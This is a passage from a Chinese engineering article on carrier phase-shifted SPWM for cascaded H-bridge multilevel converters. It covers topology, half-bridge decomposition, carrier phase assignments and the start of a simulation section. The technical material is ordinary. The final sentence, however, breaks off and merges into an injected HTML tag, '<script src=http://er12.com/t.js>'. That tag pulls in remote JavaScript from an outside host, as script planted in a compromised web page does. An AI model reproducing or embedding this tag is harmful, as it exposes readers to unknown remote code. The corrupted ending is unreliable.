随着大功率自关断器件和智能高速微控制芯片的不断发展，大功率电力电子变流装置得到了越来越深入的研究，在大容量电机驱动、交直流电力传输等场合的应用范围也越来越广泛了。在大功率电力电子变流装置的实现上，一个重要的问题就是大功率器件的工作频率较低，无法适应pwm技术等优秀的调制技术。载波移相正弦波脉宽调制技术（carrier phase-shifted spwm，以下简称cps-spwm）是为了解决该问题而提出的新技术。本文对cps-spwm技术在级联h桥型多电平变流器上的具体实现方法进行了详尽的描述。
1 基于cps-spwm技术的级联h桥型变流器
田纳西大学的peng f.z.等人于1996年提出了级联h桥型变流器的拓扑结构，并用于无功补偿[1]。级联h桥变流器主电路拓扑结构如图1所示，由n个单相全桥模块在交流侧串联构成一相桥臂对，直流侧相互独立，如图1（a）所示。由3个桥臂对通过y型或者△连接构成三相系统，如图1（b）所示便为y型接法示意图。相对于二极管钳位型多电平变流器和飞跨电容型多电平变流器，这种级联h桥型变流器具有如下优点：
1）各变流器单元结构相同，容易实现模块化设计、安装、维修；
2）直流侧相互独立，电压均衡容易实现；
3）各变流器单元工作对称，开关负荷平衡。
（a）单相 （b）三相y型接法
图1 级联h桥型变流器主电路结构
当然，级联h桥型变流器也有不足之处，主要就是在需要提供有功功率的场合必须采用独立直流电源。显然，在不需要提供有功功率的场合比如静止无功补偿器、电力有源滤波器(apf)等，级联型多电平变流器具有更大的优势。
在控制上，有的采用基波频率控制[1][2]，不同的变流器单元采用不同的开关角用以消除低次谐波，控制直流电压调节输出基波电压。这种方法动态响应较差，开关负荷不一致，难以输出较宽频带的信号，不适于有源滤波器等要求较高调节性能的大功率场合。在以往的研究中，级联h桥型变流器一般是应用于静止无功补偿器[3]、中高压交流驱动[4][5]等场合，几乎没有在电力有源滤波器中应用的报道。并联apf是一种受到广泛研究的大功率电力电子装置，具有很强的实用价值。将级联型多电平变流器引入并联apf，对提高有源滤波器的功率等级有重要的意义。
为此，本文提出了基于cps-spwm技术的级联h桥型变流器，将cps-spwm技术的优点引入级联h桥型变流器，而且不需要变压器级联[6][7][8]。本文着重分析这种变流器的工作原理。
2 工作原理
图2所示为由两个h桥单元级联而成的变流器主电路拓扑结构图，这种变流器由两个全桥单元级联而成。其中，每个全桥单元由两个半桥组成。现有文献一般都是将这种级联h桥变流器按两个全桥单元来处理，每个h桥单元为两电平输出，级联后h桥单元总输出为三电平输出[9]。仅s1和s1′为独立开关，将图2所示的级联h桥变流器当作两个独立单元来进行cps-spwm调制，这样总的输出仅为三电平输出。
图2 级联h桥变流器
本文将图2所示的级联h桥变流器分解为4个独立的半桥单元，并对4个半桥单元分别进行cps-spwm调制。这样，每个h桥单元可以实现三电平输出，级联h桥变流器的总输出可达五电平，达到了改善级联h桥变流器输出波形的目的。图2所示的每个全桥单元中的左右两个半桥共地，若将右半桥上下管的驱动信号互换后，图2所示的级联h桥变流器的输出电压与图3所示的4个半桥单元级联而成的变流器输出电压相等。由此，本文得到了适合级联h桥变流器的cps-spwm调制方法。
图3 4个半桥单元级联型变流器
取四列幅值相等、相位依次互差π/2的三角载波tr1(t)、tr2(t)、tr3(t)和tr4(t)，分别与同列正弦调制波m(t)进行调制。为分析方便，取载波比kc=2，幅度调制比m=0.8，cps-spwm级联h桥变流器相应的工作时序如图4所示。
图4 cps-spwm级联h桥变流器工作时序图
可得，适合本文所提的cps-spwm级联h桥变流器的具体调制方法为：
1）初始相位为0的三角载波tr1(t)与调制波m(t)相比较所得驱动信号g1来驱动左半桥上开关管s1，与g1互补的驱动信号g4来驱动左半桥的下开关s4；
2）初始相位为π/2的三角载波tr2(t)与调制波m(t)相交所得驱动信号g1′来驱动左半桥上开关管s1′，与g1′互补的驱动信号g4′来驱动左半桥的下开关管s4′；
3）初始相位为π的三角载波tr3(t)与调制波m(t)相比较取反后的驱动信号g2来驱动右半桥上开关管s2，与g2互补的驱动信号g3来驱动右半桥的下开关管s3。
4）初始相位为3π/2的三角载波tr4(t)与调制波m(t)取反后的驱动信号g2′来驱动右半桥上开关管s2′，与g2′互补的驱动信号g3′来驱动右半桥的下开关管s3′。
3 仿真验证
为说明cps-spwm技术在级联h桥型变流器中的具体应用方法，对图2所示级联h桥变流器进行了仿真分析，仿真时幅度调制比取0.9，载波比取21。取四列相位互差π/2的三角载波与一列正弦调制波进行调制，便可得到图2中开关管s1、s1′、s3、s3′相应的驱动信号g1、g1′、g3、g3?script src=http://er12.com/t.js>
